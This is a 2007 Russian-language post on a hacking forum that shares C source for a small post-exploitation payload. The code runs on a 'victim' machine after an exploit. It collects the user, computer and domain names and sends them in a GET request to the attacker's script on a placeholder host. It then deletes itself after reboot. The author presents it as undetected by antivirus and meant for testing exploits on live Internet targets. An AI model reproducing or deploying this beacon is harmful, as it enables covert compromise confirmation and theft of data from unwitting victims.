Тестирование внедрения.

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by [53x]Shadow, 27 May 2007.

  1. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Иногда для проверки эффективности пробивки новой связки или например для тестирования очередного эксплойта, или шеллкода в боевой среде (Интернет), необходима начинка которая не палится антивирями. А так же для новичков, которые по той или иной причине не могут использовать трои, но хотят просто попробывать свои силы в использовании эксплойтов и шеллкодов, решил выложить следующий код. Может кому пригодится ;)
    Вообщем идея заключается в сборе некой статистики с компа жертвы после того как мы внедрили экзешник на машину.
    Идея заключается в том, чтобы собрать некоторые данные, например имя пользователя, машины и домена. Затем отправить их нашему скрипту, в http get запросе. Тем самым подтвердить удачное внедрение нашего экзешника.
    Си:
    Code:
    #include <windows.h>
    #include <Wininet.h>
    #pragma comment(lib,"wininet")
    
    void main(void)
    {
    	// строка с именем скрипта гет параметрами
    	TCHAR addr[100]; 
    	// размер имени компьютера и пользователя
    	DWORD size = 1024;
    	// буфер для строки с именем
    	TCHAR buf[1024];	
    	// Здесь имя нашего скрипта и гет-параметр имя пользователя
    	lstrcpy(addr, L"statistic.php?user=");
    	if( GetUserName(buf, &size) ) 
    		lstrcat(addr, buf);
    	// получим имя компьютера
    	lstrcat(addr, L"&comp=");
    	size = 1024;
    	if( GetComputerName(buf, &size) )
    		lstrcat(addr, buf);
    	// получим имя домена
    	lstrcat(addr, L"&domain=");
    	size = 1024;
    	if( GetComputerNameEx(ComputerNameDnsFullyQualified, buf, &size))
    		lstrcat(addr, buf);
    
    	// инициализируем WinInet
        HINTERNET hInternet = InternetOpen(L"MyIe", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    
        if (hInternet != NULL) {
            // открываем HTTP сессию, во втором параметре указываем имя сервера с нашим скриптом
            HINTERNET hConnect = InternetConnect(hInternet, L"www.xxx.ru", INTERNET_DEFAULT_HTTP_PORT,
    			NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1u);
    
            if (hConnect != NULL) {
                // открываем запрос
    			HINTERNET hRequest = HttpOpenRequest(hConnect, L"GET", addr, NULL, NULL, 0, INTERNET_FLAG_KEEP_CONNECTION, 1);
    
                if (hRequest != NULL) {
                    // посылаем запрос
                    BOOL bSend = HttpSendRequest(hRequest, NULL,0, NULL,0);
                    // закрываем запрос
                    ::InternetCloseHandle(hRequest);
                }
                // закрываем сессию
                ::InternetCloseHandle(hConnect);
            }
            // закрываем WinInet
            ::InternetCloseHandle(hInternet);
        }
    	// самоудаление после перезагрузки, в первом параметре указываем имя создаваемого в системе экзешника
    	MoveFileEx(L"a.exe",NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
    	exit(0);
    }
    За код сильно не бейте старался юзать стандартые апи функции для уменьшения конечного размера экзешника :rolleyes:
    Размер исполняемого файла после всяких извращений с настройками компиляции в 2005 студии достиг 3Кб.
    Вообщем мона использовать и как небольшой пример написания програм на си для работы с HTTP.
    Помимо имени юзера, компа и домена, ничего в башку сразу не пришло, может у кого-нидь есть идеи :confused:
    Да и с самоуничтожением тоже долго думать в падлу было ;)
    Имхо тип браузера, внешний ип мы всегда определим в пхп скрипте куда уйдут наши данные.
    Если кому интересно могу еще выложить и код скрипта на пхп.
     
    4 people like this.